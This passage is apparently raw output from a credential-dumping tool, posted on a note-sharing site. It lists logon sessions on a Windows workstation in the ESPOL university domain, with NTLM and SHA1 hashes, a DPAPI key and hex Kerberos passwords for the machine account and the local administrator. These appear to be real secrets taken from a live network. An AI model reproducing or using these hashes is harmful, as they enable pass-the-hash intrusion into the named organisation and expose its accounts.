* DPAPI : e0dc1523c1d06c8569c24cfd512e6b4d
tspkg :
wdigest :
* Username : usuariotemp
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : usuariotemp
* Domain : ESPOL.EDU.EC
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 2 ; 635160229 (00000002:25dbc6a5)
Session : Interactive from 4
User Name : DWM-4
Domain : Window Manager
Logon Server : (null)
Logon Time : 18/2/2025 15:34:52
SID : S-1-5-90-0-4
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 2 ; 635160168 (00000002:25dbc668)
Session : Interactive from 4
User Name : DWM-4
Domain : Window Manager
Logon Server : (null)
Logon Time : 18/2/2025 15:34:52
SID : S-1-5-90-0-4
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 2 ; 635144339 (00000002:25db8893)
Session : Interactive from 4
User Name : UMFD-4
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 18/2/2025 15:34:52
SID : S-1-5-96-0-4
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 2 ; 604970791 (00000002:240f1f27)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 18/2/2025 14:49:00
SID : S-1-5-90-0-3
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 2 ; 604970747 (00000002:240f1efb)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 18/2/2025 14:49:00
SID : S-1-5-90-0-3
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 2 ; 604966208 (00000002:240f0d40)
Session : Interactive from 3
User Name : UMFD-3
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 18/2/2025 14:49:00
SID : S-1-5-96-0-3
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 2 ; 604159882 (00000002:2402bf8a)
Session : RemoteInteractive from 2
User Name : usuariotemp
Domain : ESPOL
Logon Server : SRV10ESPOL
Logon Time : 18/2/2025 14:48:23
SID : S-1-5-21-885260558-2658306318-2063673728-50749
msv :
tspkg :
wdigest :
kerberos :
ssp :
credman :
cloudap :
Authentication Id : 2 ; 604131944 (00000002:24025268)
Session : RemoteInteractive from 2
User Name : usuariotemp
Domain : ESPOL
Logon Server : SRV10ESPOL
Logon Time : 18/2/2025 14:48:23
SID : S-1-5-21-885260558-2658306318-2063673728-50749
msv :
tspkg :
wdigest :
kerberos :
ssp :
credman :
cloudap :
Authentication Id : 0 ; 2251488 (00000000:00225ae0)
Session : Interactive from 1
User Name : Administrador
Domain : GGIECCOMWRK243
Logon Server : GGIECCOMWRK243
Logon Time : 30/1/2025 14:08:17
SID : S-1-5-21-2661616615-2057888277-2135062971-500
msv :
[00000003] Primary
* Username : Administrador
* Domain : GGIECCOMWRK243
* NTLM : 2452b254bf69c6e70346818d26a5ad42
* SHA1 : f677831668a03a4e7631799561ebc4146a56c58b
tspkg :
wdigest :
* Username : Administrador
* Domain : GGIECCOMWRK243
* Password : (null)
kerberos :
* Username : Administrador
* Domain : GGIECCOMWRK243
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 566780 (00000000:0008a5fc)
Session : Service from 0
User Name : niLXIDiscovery
Domain : NT SERVICE
Logon Server : (null)
Logon Time : 21/1/2025 10:59:48
SID : S-1-5-80-63272789-367670524-4235130887-501008514-333400210
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 0 ; 355464 (00000000:00056c88)
Session : Service from 0
User Name : niroco
Domain : NT SERVICE
Logon Server : (null)
Logon Time : 21/1/2025 10:59:47
SID : S-1-5-80-1122491841-3392631692-228128370-2991616343-3360392805
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 0 ; 352778 (00000000:0005620a)
Session : Service from 0
User Name : lkClassAds
Domain : NT SERVICE
Logon Server : (null)
Logon Time : 21/1/2025 10:59:47
SID : S-1-5-80-2318606733-4105731500-2265514868-2382646068-3090068018
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : SERVICIO LOCAL
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 21/1/2025 10:59:46
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 104623 (00000000:000198af)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 21/1/2025 10:59:46
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : 10338cfff6e84874d4a126ff3886683f
* SHA1 : 8b7ebfa16190dc6d92c2e3a6503f53b279808696
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : 24 ec 88 1e a0 5e 32 ef 14 3c fc ee 2f c0 9b 3e 39 56 58 db 5f 45 c1 ca 4a b4 77 dd 10 16 76 9a 9a 79 f4 93 28 df a3 36 d6 58 ab c2 c7 cd 61 ea ee d5 60 60 8f f1 1a 4a 0c 3c cd 1b cb 04 d2 0d 3a c2 76 41 63 7f b2 b5 b4 9d 64 ed 0c 60 48 01 b5 4f 25 80 8d f6 82 e6 18 7a fd 18 35 50 ce e9 96 77 70 4f f3 a9 5a 04 30 fc ab b0 be 75 a5 73 c8 24 51 05 46 29 41 5f 3e 6e 43 fa 26 13 bd bc 9d 86 ad 86 41 9f 8d f2 8a a7 35 5c 83 b1 43 3c 15 57 a2 85 31 e1 49 81 07 ac fe 13 5e 66 4f 89 80 23 42 bc d4 63 80 76 5d 21 c9 c9 1d c6 7e 4d 84 19 06 7e ec 12 d7 85 4c 93 f7 1e df ed 03 93 0d d5 ef 6e 16 56 94 89 96 c3 ac 73 21 d2 e2 c2 df d7 f1 d6 38 47 cf a8 e3 ee e9 16 3e 6a 07 73 d9 e3 ef 30 3b 28 5a 58 fb 2b 34 86 8c 18 30 9b
ssp :
credman :
cloudap :
Authentication Id : 0 ; 104592 (00000000:00019890)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 21/1/2025 10:59:46
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : GGIECCOMWRK243$
Domain : ESPOL
Logon Server : (null)
Logon Time : 21/1/2025 10:59:45
SID : S-1-5-20
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : ggieccomwrk243$
* Domain : ESPOL.EDU.EC
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 77877 (00000000:00013035)
Session : Interactive from 1
User Name : UMFD-1
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 21/1/2025 10:59:45
SID : S-1-5-96-0-1
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 0 ; 77849 (00000000:00013019)
Session : Interactive from 0
User Name : UMFD-0
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 21/1/2025 10:59:45
SID : S-1-5-96-0-0
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : GGIECCOMWRK243$
* Domain : espol.edu.ec
* Password : ad 7d f9 a6 78 b5 10 12 c1 d0 1b 64 be 3d 75 5f b3 4d 06 aa 0f 56 55 9c 22 2a 84 3c 93 80 66 04 bb bb 10 6a 6c e3 56 c9 af c6 b7 b2 85 72 08 79 75 45 fa e7 fa eb c1 5d d3 1b 12 dd a7 3e 10 b6 18 f0 03 1f bb 1d b5 ad 54 88 46 b6 1b 4e a8 26 c7 ed 85 50 03 9d 19 e1 2b cc ea 16 26 e8 23 63 8a fd 58 3f 51 18 e9 66 49 f5 2b b8 44 a5 e6 ed 3a f7 fc ca 7f 15 c3 61 fd 2b d4 af a0 b9 ca cd f7 b5 a1 87 2a 0c d7 67 8c 0e 47 a9 64 55 4f dd e9 15 af a3 8a b1 84 be db 80 23 36 22 03 2a 04 9b 31 ea 15 45 e3 37 f9 42 0d c9 88 46 de 6f 1e 52 44 ca f0 b3 60 a1 5d 76 d2 23 92 dc 88 e2 d7 b0 3a e6 ed 0a 9a 53 19 c5 99 aa a3 88 74 e7 ef 0b 0c da 12 1f e5 b2 26 39 57 67 4e 38 61 66 0e 4a a0 48 d8 3f 70 6d cf c0 42 b3 d8 9d 59 d6 65
ssp :
credman :
cloudap :
Authentication Id : 0 ; 76627 (00000000:00012b53)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 21/1/2025 10:59:45
SID :
msv :
[00000003] Primary
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* NTLM : d18a9c7689f7cdef9416504a4fd4aed4
* SHA1 : d455ca39d21de80e28381264e276532af374f72d
tspkg :
wdigest :
kerberos :
ssp :
credman :
cloudap :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : GGIECCOMWRK243$
Domain : ESPOL
Logon Server : (null)
Logon Time : 21/1/2025 10:59:45
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : GGIECCOMWRK243$
* Domain : ESPOL
* Password : (null)
kerberos :
* Username : ggieccomwrk243$
* Domain : ESPOL.EDU.EC
* Password : (null)
ssp :
credman :
cloudap :
|
|
Notes is a web-based application for online taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000+ notes created and continuing...
With notes.io;
- * You can take a note from anywhere and any device with internet connection.
- * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
- * You can quickly share your contents without website, blog and e-mail.
- * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
- * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.
Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.
Easy: Notes.io doesn’t require installation. Just write and share note!
Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )
Free: Notes.io works for 14 years and has been free since the day it was started.
You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;
Email: [email protected]
Twitter: http://twitter.com/notesio
Instagram: http://instagram.com/notes.io
Facebook: http://facebook.com/notesio
Regards;
Notes.io Team
